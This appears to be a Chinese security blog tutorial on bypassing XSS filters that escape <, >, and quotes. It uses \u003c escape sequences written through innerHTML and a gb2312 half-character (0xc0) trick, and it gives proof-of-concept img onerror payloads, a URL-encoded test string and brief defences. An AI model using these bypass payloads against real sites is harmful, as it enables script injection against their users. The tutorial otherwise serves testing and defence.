XSS绕过

大家都知道，普遍的防御XSS攻击的方法是在后台对以下字符进行转义：<、>、’、”，但是经过本人的研究发现，在一些特殊场景下，即使对以上字符进行了转义，还是可以执行XSS攻击的。

首先看一个JS的例子：

1

<script>

2	var s = "u003cu003e";

3

alert(s);

4

</script>

运行这段代码，结果显示如下：

看到这么熟悉的尖括号，大家会不会有一些兴奋的感觉呢？JS代码中并没有出现尖括号，可是运行时却输出了尖括号！！！这意味着：可以通过u003c和u003e来代替<和>。可是该如何利用这个特性来构造XSS攻击呢？继续看一个例子：

1	<div id='s'>

2

test

3

</div>

4

<script>

5	var s = "u003cimg src=1 onerror=alert(/xss/)u003e";

6	document.getElementById('s').innerHTML = s;

7

</script>

运行上面代码，结果显示如下：

在没有尖括号的情况下，成功实现了一个弹框的案例。

现在来设想一个更贴近实际开发情况的例子：
（1）这里我们用网络安全攻防研究室网站首页进行演示：http://www.91ri.org/ main.html，其代码为：

01	<div id="test">

02

aa

03

</div>

04

<script>

05	function callback(obj)

06

{

07	document.getElementById("test").innerHTML = obj.name;

08

}

09

</script>

10	<script src=" http://www.victim.com/getcontent"></script>

（2）http://www.victim.com/getcontent返回的内容格式如下：

1	callback({"name":"xx"});

其中name的值是用户的昵称。

这个例子简单模拟了异步拉取信息并进行显示的情况。

现在假设用户的昵称为：

1	u003cimg src=1 onerror=alert(/xss/)u003e

那么会是什么情况呢？
首先getcontent返回的昵称应该是这样的：

1	\u003cimg src=1 onerror=alert(/xss/)\u003e

因为后台输出JSON格式数据时，一般都会在前面添加转义符进行转义。
接着main.html的callback函数应该是等价于执行下面的语句：

1	document.getElementById("test").innerHTML =" \u003cimg src=1 onerror=alert(/xss/)\u003e";

显示的结果如下：

很遗憾，没有弹出框。原因是原来的转义序列u003c并没有生效，被添加的转义符转义掉了。

不过这里假设返回昵称时对进行了转义，但实际情况下，有时输出json格式数据时是没有对进行转义的，那样就会触发漏洞。

对于有对进行转义的，这时就轮到我们强大的半字符出场了。对于半字符的问题，这里并不打算详细讲，说下结论：
对于gb2312编码，” [0xc0] “是一个合法的编码，显示为：”繺”。
对于UTF-8编码，在IE6下，上述组合也是一个合法的编码。
其中[0xc0]表示一个十六进制的值。

现在修改昵称为：

1	[0xc0]u003cimg src=1 onerror=alert(/xss/) [0xc0]u003e

 
getcontent输出：

1	callback({"name":"[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e"});

 
由于半字符[0xc0]的存在，在解释上述JS代码时，等价于：

1	callback({"name":"繺u003cimg src=1 onerror=alert(/xss/) 繺u003e"});

 
可见，转义序列u003c终于又回来了，显示结果如下：

上述昵称中并没有出现单双引号，尖括号，所以如果后台只是对单双引号和尖括号进行转义，那么是可以被绕过防御的。
总结：

（1）  利用场景：输出内容在JS代码里，并且被动态显示出来（如使用innerHTML）。
（2）  测试方法：截获请求包，修改参数为：

1	%c0u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0u003e

 
（3）  防御方法：后台对半字符，反斜杠，单双引号，尖括号进行处理。

编辑点评:关于xss绕过的方式有很多，不少程序员以及小黑都认为过滤了<、>、’、”，就真的安全的，实际来说，只要针对这些字符进行一定的转义，就能成功绕过！